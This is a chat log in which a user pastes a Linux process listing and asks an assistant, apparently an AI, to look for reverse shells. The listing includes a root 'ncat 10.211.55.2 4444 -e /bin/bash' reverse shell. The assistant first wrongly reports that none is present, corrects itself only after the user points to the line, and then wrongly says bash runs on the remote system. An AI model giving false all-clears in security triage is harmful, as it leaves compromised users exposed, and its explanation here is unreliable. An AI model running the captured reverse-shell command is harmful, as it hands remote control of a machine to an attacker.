

Hi	root	731	0.0	0.3	48760	7516 ?	Ss	13:44	0:00	/lib/systemd/systemd-logind
	root	732	0.0	0.5	394004	11712 ?	Ssl	13:44	0:00	/usr/libexec/udisks2/udisksd
	root	733	0.0	0.2	15260	5368 ?	Ss	13:44	0:00	/sbin/wpa_supplicant -u -s -O /run/wpa_suppl
	avahi	734	0.0	0.0	7788	356 ?	S	13:44	0:00	avahi-daemon: chroo
	root	748	0.0	0.5	320780	11236 ?	Ssl	13:44	0:00	/usr/sbin/ModemManager
	root	753	0.1	0.6	77728	13308 ?	Ss	13:44	0:00	/usr/sbin/cupsd -l
	colord	817	0.0	0.6	393656	12196 ?	Ssl	13:44	0:00	/usr/libexec/colord
	root	854	0.0	1.0	118992	21624 ?	Ssl	13:44	0:00	/usr/bin/python3
	/usr/share/unattended-upgrades									
	root	885	0.0	0.0	305824	1612 ?	Ssl	13:44	0:00	/usr/bin/prttoolsd -p /var/run/prttoolsd
	root	899	0.0	0.3	241972	8004 ?	Ssl	13:44	0:00	/usr/sbin/gdm3
	root	907	0.0	0.1	152892	3356 ?	Sl	13:44	0:00	prishprint
	root	908	0.0	0.0	5312	1800 ?	S	13:44	0:00	prltime
	root	909	0.0	0.3	233060	6536 ?	Sl	13:44	0:00	prlsumd
	rtkit	1015	0.0	0.0	153476	1576 ?	SNsl	13:44	0:00	/usr/libexec/rtkit-daemon
	root	1218	0.0	0.0	0	0 ?	l	13:44	0:00	[kworker/0:4-events]
	uidd	1233	0.0	0.0	11584	1500 ?	Ss	13:44	0:00	/usr/sbin/uidd --socket-activation
	root	1248	0.0	0.4	173600	9992 ?	Ssl	13:44	0:00	/usr/sbin/cups-browsed
	kernoops	1255	0.0	0.0	12764	1936 ?	Ss	13:44	0:00	/usr/sbin/kerneloops --test
	kernoops	1258	0.0	0.0	12764	1940 ?	Ss	13:44	0:00	/usr/sbin/kerneloops
	root	1272	0.0	0.4	15164	8192 ?	Ss	13:44	0:00	sshd: /usr/sbin/sshd -D [listener] 0 of 10-100
	lp	1324	0.0	0.2	16344	5328 ?	S	13:44	0:00	/usr/lib/cups/notifier/dbus dbus://
	lp	1329	0.0	0.2	16344	5328 ?	S	13:44	0:00	/usr/lib/cups/notifier/dbus dbus://
	lp	1330	0.0	0.2	16344	5332 ?	S	13:44	0:00	/usr/lib/cups/notifier/dbus dbus://
	root	1419	0.0	0.3	316276	7524 ?	Ssl	13:44	0:00	/usr/libexec/upowerd
	root	1441	0.0	0.9	300156	18980 ?	Ssl	13:44	0:00	/usr/libexec/packagekitd
	lp	1793	0.0	0.2	16344	5376 ?	S	13:44	0:00	/usr/lib/cups/notifier/dbus dbus://
	root	1943	0.0	0.4	172852	9468 ?	Sl	13:44	0:00	gdm-session-worker [pam/gdm-password]
	parallel+	1993	0.0	0.5	18216	10144 ?	Ss	13:44	0:00	/lib/systemd/systemd --user
	parallel+	1994	0.0	0.2	171928	5672 ?	S	13:44	0:00	(sd-pam)
	parallel+	2001	0.0	0.2	40688	5988 ?	S<sl	13:44	0:00	/usr/bin/pipewire
	parallel+	2002	0.0	0.2	24096	5740 ?	Ssl	13:44	0:00	/usr/bin/pipewire-media-session
	parallel+	2003	0.0	1.2	1502972	25928 ?	S<sl	13:44	0:00	/usr/bin/pulseaudio --daemonize=no --log-target
	parallel+	2007	0.0	0.3	241072	7456 ?	Sl	13:44	0:00	/usr/bin/gnome-keyring-daemon --daemonize --log
	parallel+	2011	0.2	0.2	10276	5616 ?	Ss	13:44	0:01	/usr/bin/dbus-daemon --session --address=system
	parallel+	2013	0.0	0.3	240972	7032 ?	Ssl	13:44	0:00	/usr/libexec/gvfsd
	parallel+	2018	0.0	0.2	381020	5864 ?	Sl	13:44	0:00	/usr/libexec/gvfsd-fuse /run/user/1000/gvfs -f
	parallel+	2028	0.0	1.3	635316	27512 ?	SNsl	13:44	0:00	/usr/libexec/tracker-miner-fs-3
	parallel+	2041	0.0	0.4	537872	9092 ?	Ssl	13:44	0:00	/usr/libexec/gvfs-udisks2-volume-monitor
	parallel+	2042	0.0	0.2	162608	5300 tty2	Ssl+	13:44	0:00	/usr/libexec/gdm-wayland-session env GNOME_SHEL
	parallel+	2047	0.0	0.6	225856	13512 tty2	Sl+	13:44	0:00	/usr/libexec/gnome-session-binary --session=ubu
	parallel+	2075	0.0	0.2	236964	5728 ?	Ssl	13:44	0:00	/usr/libexec/gvfs-goa-volume-monitor
	parallel+	2083	0.0	1.8	642232	36528 ?	Sl	13:44	0:00	/usr/libexec/goa-daemon
	parallel+	2104	0.0	0.6	341408	13004 ?	Sl	13:44	0:00	/usr/libexec/goa-identity-service
	parallel+	2113	0.0	2.8	646524	57288 ?	Ssl	13:44	0:00	/usr/libexec/gnome-remote-desktop-daemon
	parallel+	2114	0.0	0.2	91948	4488 ?	Ssl	13:44	0:00	/usr/libexec/gnome-session-ctl --monitor
	parallel+	2116	0.0	0.2	236820	5688 ?	Ssl	13:44	0:00	/usr/libexec/gvfs-mtp-volume-monitor
	parallel+	2133	0.0	0.7	596072	15896 ?	Ssl	13:44	0:00	/usr/libexec/gnome-session-binary --systemd-ser
	parallel+	2137	0.0	0.2	238136	5960 ?	Ssl	13:44	0:00	/usr/libexec/gvfs-gphoto2-volume-monitor
	parallel+	2154	0.0	0.2	315400	5916 ?	Ssl	13:44	0:00	/usr/libexec/gvfs-afc-volume-monitor
	parallel+	2172	0.0	0.3	309784	7032 ?	Sl	13:44	0:00	/usr/libexec/at-spi-bus-launcher - -launch-immed
	parallel+	2182	4.5	12.4	4375168	250608 ?	Rsl	13:44	0:20	/usr/bin/gnome-shell
	parallel+	2188	0.0	0.2	8924	4152 ?	S	13:44	0:00	/usr/bin/dbus-daemon --config-file=/usr/share/d
	parallel+	2216	0.0	0.2	236420	4492 ?	Ssl	13:44	0:00	/usr/libexec/xdg-permission-store
	parallel+	2218	0.0	0.9	584896	19240 ?	Sl	13:44	0:00	/usr/libexec/gnome-shell-calendar-server
	parallel+	2242	0.0	1.1	470852	22736 ?	Ssl	13:44	0:00	/usr/libexec/evolution-source-registry
	parallel+	2251	0.0	1.3	928124	28092 ?	Ssl	13:44	0:00	/usr/libexec/evolution-calendar-factory
	parallel+	2259	0.0	0.2	156764	5332 ?	Ssl	13:44	0:00	/usr/libexec/dconf-service
	parallel+	2265	0.0	0.2	163436	5800 ?	Ssl	13:44	0:00	/usr/libexec/gvfsd-metadata
	parallel+	2270	0.0	1.3	749264	26404 ?	Ssl	13:44	0:00	/usr/libexec/evolution-addressbook-factory
	parallel+	2273	0.0	0.3	315280	7172 ?	Sl	13:44	0:00	/usr/libexec/gvfsd-trash --spawner :1.2 /org/gt
	parallel+	2296	0.0	0.2	162964	5444 ?	Sl	13:44	0:00	/usr/libexec/at-spi2-registryd --use-gnome-se
	parallel+	2297	0.0	1.2	2599808	25624 ?	Sl	13:44	0:00	/usr/bin/gjs /usr/share/gnome-shell/org.gnome.S
	parallel+	2301	0.0	0.0	2308	824 ?	Ss	13:44	0:00	sh -c /usr/bin/ibus-daemon --panel disable \$(
	parallel+	2302	0.0	0.2	310920	5872 ?	Ssl	13:44	0:00	/usr/libexec/gsd-a11y-settings
	parallel+	2303	0.0	1.1	602380	24172 ?	Ssl	13:44	0:00	/usr/libexec/gsd-color
	parallel+	2304	0.0	0.7	378956	14352 ?	Ssl	13:44	0:00	/usr/libexec/gsd-datetime
	parallel+	2305	0.0	0.3	312488	6600 ?	Ssl	13:44	0:00	/usr/libexec/gsd-housekeeping
	parallel+	2306	0.0	1.0	343568	20404 ?	Ssl	13:44	0:00	/usr/libexec/gsd-keyboard
	parallel+	2308	0.0	1.2	646812	24756 ?	Ssl	13:44	0:00	/usr/libexec/gsd-media-keys
	parallel+	2309	0.0	1.1	454084	23660 ?	Ssl	13:44	0:00	/usr/libexec/gsd-power
	parallel+	2311	0.0	0.4	251096	9600 ?	Ssl	13:44	0:00	/usr/libexec/gsd-print-notifications
	parallel+	2312	0.0	0.2	458532	5876 ?	Ssl	13:44	0:00	/usr/libexec/gsd-rfkill
	parallel+	2314	0.0	0.2	236672	4076 ?	Ssl	13:44	0:00	/usr/libexec/gsd-screensaver-proxy
	parallel+	2315	0.0	0.4	466936	8692 ?	Ssl	13:44	0:00	/usr/libexec/gsd-sharing
	parallel+	2316	0.0	0.3	460600	7172 ?	Ssl	13:44	0:00	/usr/libexec/gsd-smartcard
	parallel+	2318	0.1	0.5	316020	11492 ?	Sl	13:44	0:00	/usr/bin/ibus-daemon --panel disable
	parallel+	2320	0.0	0.4	320588	8072 ?	Ssl	13:44	0:00	/usr/libexec/gsd-sound
	parallel+	2322	0.0	1.0	418144	20864 ?	Ssl	13:44	0:00	/usr/libexec/gsd-wacom
	parallel+	2374	0.0	3.0	818884	62260 ?	Sl	13:44	0:00	/usr/libexec/evolution-data-server/evolution-al
	parallel+	2383	0.8	1.2	520752	25068 ?	Sl	13:44	0:03	/usr/bin/prlcc
	parallel+	2389	0.0	0.3	232160	6120 ?	Sl	13:44	0:00	/usr/libexec/gsd-disk-utility-notif
	parallel+	2414	0.3	0.2	159656	5396 ?	Sl	13:44	0:01	/usr/bin/prlnd
	parallel+	2415	0.0	0.2	85820	5004 ?	Sl	13:44	0:00	/usr/bin/prlcp
	parallel+	2416	0.0	0.7	327600	14360 ?	Sl	13:44	0:00	/usr/bin/prlsga
	parallel+	2417	0.0	0.1	5384	3332 ?	S	13:44	0:00	/usr/bin/prlshprof
	parallel+	2443	0.0	0.6	345660	12224 ?	Sl	13:44	0:00	/usr/libexec/gsd-printer
	parallel+	2481	0.0	3.2	260488	65044 ?	Sl	13:44	0:00	/usr/bin/Xwayland :0 -rootless -noreset -access
	parallel+	2510	0.0	0.2	163848	5604 ?	Sl	13:44	0:00	/usr/libexec/ibus-memconf
	parallel+	2511	0.1	1.3	350800	27124 ?	Sl	13:44	0:00	/usr/libexec/ibus-extension-gtk3
	parallel+	2521	0.0	0.3	237680	6588 ?	Sl	13:44	0:00	/usr/libexec/ibus-portal
	parallel+	2533	0.0	0.3	163844	6512 ?	Sl	13:44	0:00	/usr/libexec/ibus-engine-simple
	parallel+	2537	0.0	0.6	625184	12596 ?	Ssl	13:44	0:00	/usr/libexec/xdg-desktop-portal
	parallel+	2542	0.0	0.3	537344	6336 ?	Ssl	13:44	0:00	/usr/libexec/xdg-document-portal
	parallel+	2544	0.0	1.2	2599944	25784 ?	Sl	13:44	0:00	/usr/bin/gjs /usr/share/gnome-shell/org.gnome.S
	root	2557	0.0	0.0	2212	796 ?	Ss	13:44	0:00	fusermount3 -o rw,nosuid,nodev,fsname=portal,au
	parallel+	2566	0.0	1.3	665240	27100 ?	Ssl	13:44	0:00	/usr/libexec/xdg-desktop-portal-gnome
	parallel+	2664	0.0	3.3	577936	66588 ?	Ssl	13:44	0:00	/usr/libexec/gsd-xsettings
	parallel+	2695	0.0	1.1	347380	23716 ?	Ssl	13:44	0:00	/usr/libexec/xdg-desktop-portal-gtk
	parallel+	2709	0.0	1.0	196640	21860 ?	Sl	13:44	0:00	/usr/libexec/ibus-x11
	parallel+	2729	1.0	2.8	2788120	58164 ?	Sl	13:44	0:04	gjs /usr/share/gnome-shell/extensions/di
	parallel+	3018	0.0	1.3	496744	27800 ?	Sl	13:45	0:00	update-notifier
	parallel+	3358	1.2	2.5	558236	51960 ?	Rsl	13:47	0:03	/usr/libexec/gnome-terminal-server
	parallel+	3361	0.0	1.8	397716	37788 ?	SLI	13:47	0:00	/usr/bin/seahorse --gapplication-service
	parallel+	3364	0.0	2.7	883488	55328 ?	Sl	13:47	0:00	/usr/bin/gnome-calendar --gapplication-service
	parallel+	3460	0.0	0.2	10920	4548 pts/0	Ss	13:47	0:00	bash
	root	3662	0.0	0.2	16748	4924 pts/0	S+	13:47	0:00	sudo su
	root	3663	0.0	0.0	16748	764 pts/1	Ss	13:47	0:00	sudo su
	root	3664	0.0	0.2	15320	4432 pts/1	S	13:47	0:00	su
	root	3665	0.0	0.1	10136	3700 pts/1	S	13:47	0:00	bash
	root	4213	0.0	0.3	13488	7836 pts/1	S+	13:49	0:00	ncat 10.211.55.2 4444 -e /bin/bash
	root	4214	0.0	0.1	10004	2988 pts/1	S+	13:49	0:00	/bin/bash
	parallel+	4247	0.0	0.2	10920	4548 pts/2	Ss	13:49	0:00	bash
	root	4257	0.0	0.2	16916	5088 pts/2	S+	13:49	0:00	sudo su
	root	4273	0.0	0.0	16916	1952 pts/3	Ss	13:49	0:00	sudo su
	root	4274	0.0	0.2	15320	4428 pts/3	S	13:49	0:00	su
	root	4275	0.0	0.1	10136	3704 pts/3	S	13:49	0:00	bash
	root	4675	0.0	0.1	13456	3208 pts/3	R+	13:51	0:00	ps -aux

This text appears to be a list of processes running on a Linux-based operating system, including the user (first column), process ID (PID, second column), CPU usage (third column), memory usage (fourth column), and other details. The processes listed cover a range of system and user-level tasks, such as systemd, dbus, GNOME Shell, and various background services.

Do you see any reverse shells?

Based on the provided process list, there doesn't appear to be any obvious reverse shells running. Reverse shells often use specific tools like `nc`, `netcat`, `bash`, `perl`, or `python` to establish connections. The list you provided does not seem to have any suspicious processes that resemble a reverse shell.

However, it's important to note that sophisticated attackers may attempt to hide their presence by renaming processes or using less common tools. To be more certain, a more in-depth investigation of the system would be required.

It says ncat 10.211.55.2 4444 -e /bin/bash in the listing...

Apologies for the oversight. Yes, there appears to be a reverse shell in the process list:

```
ncat 10.211.55.2 4444 -e /bin/bash
```

This indicates that the `ncat` command has been used to create a reverse shell connection to the IP address 10.211.55.2 on port 4444, and it's executing `/bin/bash` on the remote system.

- This is a strong indicator of a compromise on your system. To mitigate this, you should:
- Terminate the process by noting its process ID (PID) and using the `kill` command.
 - Investigate how the reverse shell was established, by checking logs, vulnerable services, or malicious files.
 - Patch any identified vulnerabilities and strengthen security measures.
 - Monitor your system for any further suspicious activity or indicators of compromise.

It's also recommended to engage a cybersecurity professional to help you with a more comprehensive investigation and remediation process.